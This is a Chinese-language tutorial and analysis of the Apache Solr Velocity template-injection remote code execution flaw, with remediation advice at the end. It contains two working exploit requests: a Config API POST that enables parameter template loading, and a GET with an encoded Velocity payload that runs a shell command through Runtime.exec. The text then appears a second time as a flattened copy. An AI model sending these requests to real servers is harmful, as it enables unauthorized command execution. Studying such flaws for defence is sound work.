漏洞分析 - Apache Solr 模版注入漏洞(RCE)
字数 1519 2025-08-26 22:11:34

Apache Solr 模版注入漏洞(RCE) 教学文档

1. 漏洞概述

Apache Solr是一个企业级搜索平台,基于Apache Lucene项目开发。本漏洞涉及Solr中的Velocity模版引擎功能,通过精心构造的HTTP请求,攻击者可以实现远程代码执行(RCE)。

2. 漏洞前置条件

  1. Solr控制台未设置鉴权(默认配置)或登录凭证被猜出,能够访问Config API
  2. 目标core(索引库)的solrconfig.xml中配置了VelocityResponseWriter插件:
    <queryResponseWriter name="velocity" class="solr.VelocityResponseWriter" startup="lazy">
      <!-- something -->
    </queryResponseWriter>
    

3. 漏洞复现步骤

第一步:启用Velocity模版参数加载

发送以下HTTP请求启用VelocityResponseWriter插件的params.resource.loader.enabled选项:

POST /solr/core_name/config HTTP/1.1
Host: solr.com:8983
Content-Type: application/json
Content-Length: 293

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

响应说明

  • 200 OK:修改成功,会在/core_name/conf/下创建configoverlay.json文件
  • 404:修改失败(通常因为core未配置VelocityResponseWriter插件)

第二步:构造恶意Velocity模版执行命令

构造HTTP请求执行任意系统命令(示例执行ls -a):

GET /solr/core_name/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27ls%20-a%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: solr.com:8983

参数解释

  • wt=velocity:指定输出格式为velocity
  • v.template:指定模版名称
  • v.template.custom:自定义模版内容(URL编码的Velocity脚本)

4. 漏洞分析

4.1 请求处理流程

  1. 请求入口

    • RequestHandlerBase.handleRequest方法处理HTTP请求
    • HttpSolrCall.writeResponse方法处理响应
  2. 模版引擎初始化

    • QueryResponseWriterUtil.writeQueryResponse调用VelocityResponseWriter
    • VelocityResponseWriter.write方法创建Velocity引擎并处理模版

4.2 关键代码分析

VelocityResponseWriter.createEngine方法

VelocityEngine engine = new VelocityEngine();
if (this.paramsResourceLoaderEnabled) {
    loaders.add("params");
    engine.setProperty("params.resource.loader.instance", new SolrParamResourceLoader(request));
}
if (this.solrResourceLoaderEnabled) {
    loaders.add("solr");
    engine.setProperty("solr.resource.loader.instance", new SolrVelocityResourceLoader(request.getCore().getSolrConfig().getResourceLoader()));
}
  • SolrParamResourceLoader:从HTTP请求参数中加载模版内容
  • SolrVelocityResourceLoader:从Solr配置中加载资源

模版执行流程

  1. VelocityResponseWriter.getTemplate方法从请求参数获取模版内容
  2. template.merge(context, writer)执行模版合并
  3. 通过Velocity引擎执行模版中的Java代码,最终调用Runtime.exec()实现命令执行

4.3 调用栈分析

关键调用栈显示从Velocity模版到Runtime.exec()的执行路径:

exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
doInvoke:506, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
invoke:494, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
execute:198, ASTMethod (org.apache.velocity.runtime.parser.node)
execute:304, ASTReference (org.apache.velocity.runtime.parser.node)
value:605, ASTReference (org.apache.velocity.runtime.parser.node)
value:72, ASTExpression (org.apache.velocity.runtime.parser.node)
render:235, ASTSetDirective (org.apache.velocity.runtime.parser.node)
render:377, SimpleNode (org.apache.velocity.runtime.parser.node)
merge:359, Template (org.apache.velocity)
merge:264, Template (org.apache.velocity)
write:166, VelocityResponseWriter (org.apache.solr.response)
...

5. 修复方案

  1. 设置鉴权

  2. 根本解决方案

    • 删除solrconfig.xml中与Velocity相关的配置
    <queryResponseWriter name="velocity" class="solr.VelocityResponseWriter" startup="lazy">
      <!-- 删除此部分配置 -->
    </queryResponseWriter>
    
    • 删除configoverlay.json文件
  3. 其他措施

    • 限制Config API的访问
    • 更新到最新版本的Solr

6. 总结

本漏洞利用流程为:

  1. 通过未授权访问或弱口令访问Config API
  2. 修改VelocityResponseWriter配置,启用参数加载
  3. 构造恶意Velocity模版实现RCE

关键点

  • Config API默认无鉴权是漏洞利用的前提
  • Velocity模版引擎能够执行Java代码是漏洞的本质
  • 通过修改配置启用参数加载是漏洞利用的关键步骤
Apache Solr 模版注入漏洞(RCE) 教学文档 1. 漏洞概述 Apache Solr是一个企业级搜索平台,基于Apache Lucene项目开发。本漏洞涉及Solr中的Velocity模版引擎功能,通过精心构造的HTTP请求,攻击者可以实现远程代码执行(RCE)。 2. 漏洞前置条件 Solr控制台未设置鉴权 (默认配置)或登录凭证被猜出,能够访问Config API 目标core(索引库)的solrconfig.xml中配置了VelocityResponseWriter插件: 3. 漏洞复现步骤 第一步:启用Velocity模版参数加载 发送以下HTTP请求启用VelocityResponseWriter插件的params.resource.loader.enabled选项: 响应说明 : 200 OK:修改成功,会在/core_ name/conf/下创建configoverlay.json文件 404:修改失败(通常因为core未配置VelocityResponseWriter插件) 第二步:构造恶意Velocity模版执行命令 构造HTTP请求执行任意系统命令(示例执行 ls -a ): 参数解释 : wt=velocity :指定输出格式为velocity v.template :指定模版名称 v.template.custom :自定义模版内容(URL编码的Velocity脚本) 4. 漏洞分析 4.1 请求处理流程 请求入口 : RequestHandlerBase.handleRequest 方法处理HTTP请求 HttpSolrCall.writeResponse 方法处理响应 模版引擎初始化 : QueryResponseWriterUtil.writeQueryResponse 调用VelocityResponseWriter VelocityResponseWriter.write 方法创建Velocity引擎并处理模版 4.2 关键代码分析 VelocityResponseWriter.createEngine方法 SolrParamResourceLoader :从HTTP请求参数中加载模版内容 SolrVelocityResourceLoader :从Solr配置中加载资源 模版执行流程 VelocityResponseWriter.getTemplate 方法从请求参数获取模版内容 template.merge(context, writer) 执行模版合并 通过Velocity引擎执行模版中的Java代码,最终调用 Runtime.exec() 实现命令执行 4.3 调用栈分析 关键调用栈显示从Velocity模版到Runtime.exec()的执行路径: 5. 修复方案 设置鉴权 : 为Apache Solr配置web鉴权(强口令) 参考 Basic Authentication Plugin 根本解决方案 : 删除solrconfig.xml中与Velocity相关的配置 删除configoverlay.json文件 其他措施 : 限制Config API的访问 更新到最新版本的Solr 6. 总结 本漏洞利用流程为: 通过未授权访问或弱口令访问Config API 修改VelocityResponseWriter配置,启用参数加载 构造恶意Velocity模版实现RCE 关键点 : Config API默认无鉴权是漏洞利用的前提 Velocity模版引擎能够执行Java代码是漏洞的本质 通过修改配置启用参数加载是漏洞利用的关键步骤